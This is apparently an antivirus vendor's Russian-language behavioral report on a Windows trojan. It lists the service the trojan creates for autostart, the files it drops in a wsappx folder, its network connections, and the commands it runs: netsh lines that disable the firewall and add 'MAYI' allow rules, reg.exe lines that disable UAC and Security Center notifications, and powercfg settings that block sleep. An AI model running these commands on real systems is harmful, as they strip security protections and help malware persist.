Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [HKLM\System\CurrentControlSet\Services\App Clash] 'Start' = '00000002'
- [HKLM\System\CurrentControlSet\Services\App Clash] 'ImagePath' = '%WINDIR%\wsappx\Bridge.exe'
- [HKLM\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Создает следующие сервисы
- 'App Clash' %WINDIR%\wsappx\Bridge.exe
Вредоносные функции
Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра
- [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
- [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
Для затруднения выявления своего присутствия в системе
блокирует:
- Средство контроля пользовательских учетных записей (UAC)
- Центр обеспечения безопасности (Security Center)
Запускает на исполнение
- '%WINDIR%\syswow64\netsh.exe' advfirewall set allprofiles state off
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="MAYI" dir=in action=allow program="%WINDIR%\wsappx\wsappx.exe" protocol=tcp enable=yes profile=public
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="MAYI" dir=in action=allow program="%WINDIR%\wsappx\wsappx.exe" protocol=udp enable=yes profile=public
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="MAYI" dir=in action=allow program="%WINDIR%\wsappx\wsappx.exe" protocol=tcp enable=yes profile=domain
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="MAYI" dir=in action=allow program="%WINDIR%\wsappx\wsappx.exe" protocol=udp enable=yes profile=domain
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="MAYI" dir=in action=allow program="%WINDIR%\wsappx\wsappx.exe" protocol=tcp enable=yes profile=private
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="MAYI" dir=in action=allow program="%WINDIR%\wsappx\wsappx.exe" protocol=udp enable=yes profile=private
Изменения в файловой системе
Создает следующие файлы
- %WINDIR%\wsappx\setup.bat
- %WINDIR%\wsappx\wsappx.exe
- %WINDIR%\wsappx\sdk.dll
- %WINDIR%\wsappx\bridge.exe
- %WINDIR%\wsappx\start.exe
- %WINDIR%\wsappx\esapi.dll
Сетевая активность
Подключается к
- '61.##0.212.170':2013
UDP
- 'localhost':52052
- 'localhost':60365
Другое
Создает и запускает на исполнение
- '%WINDIR%\wsappx\start.exe'
- '%WINDIR%\wsappx\bridge.exe'
- '%WINDIR%\wsappx\wsappx.exe'
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c ""%WINDIR%\wsappx\Setup.bat" "
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="MAYI" dir=in action=allow program="%WINDIR%\wsappx\wsappx.exe" protocol=udp enable=yes profile=domain (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="MAYI" dir=in action=allow program="%WINDIR%\wsappx\wsappx.exe" protocol=tcp enable=yes profile=domain (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="MAYI" dir=in action=allow program="%WINDIR%\wsappx\wsappx.exe" protocol=udp enable=yes profile=public (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center" /f /v "UacDisableNotify" /t REG_DWORD /d 1
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /f /v "EnableLUA" /t REG_DWORD /d 0
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="MAYI" dir=in action=allow program="%WINDIR%\wsappx\wsappx.exe" protocol=tcp enable=yes profile=public (со скрытым окном)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall delete rule name = "MAYI"
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall delete rule name = "MAYI" (со скрытым окном)
- '%WINDIR%\syswow64\powercfg.exe' -x -standby-timeout-ac 0
- '%WINDIR%\syswow64\powercfg.exe' -x -standby-timeout-dc 0
- '%WINDIR%\syswow64\powercfg.exe' -x -disk-timeout-ac 0
- '%WINDIR%\syswow64\powercfg.exe' -x -disk-timeout-dc 0
- '%WINDIR%\syswow64\powercfg.exe' -x -monitor-timeout-ac 0
- '%WINDIR%\syswow64\powercfg.exe' -x -monitor-timeout-dc 0
- '%WINDIR%\syswow64\powercfg.exe' -s 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="MAYI" dir=in action=allow program="%WINDIR%\wsappx\wsappx.exe" protocol=tcp enable=yes profile=private (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="MAYI" dir=in action=allow program="%WINDIR%\wsappx\wsappx.exe" protocol=udp enable=yes profile=private (со скрытым окном)
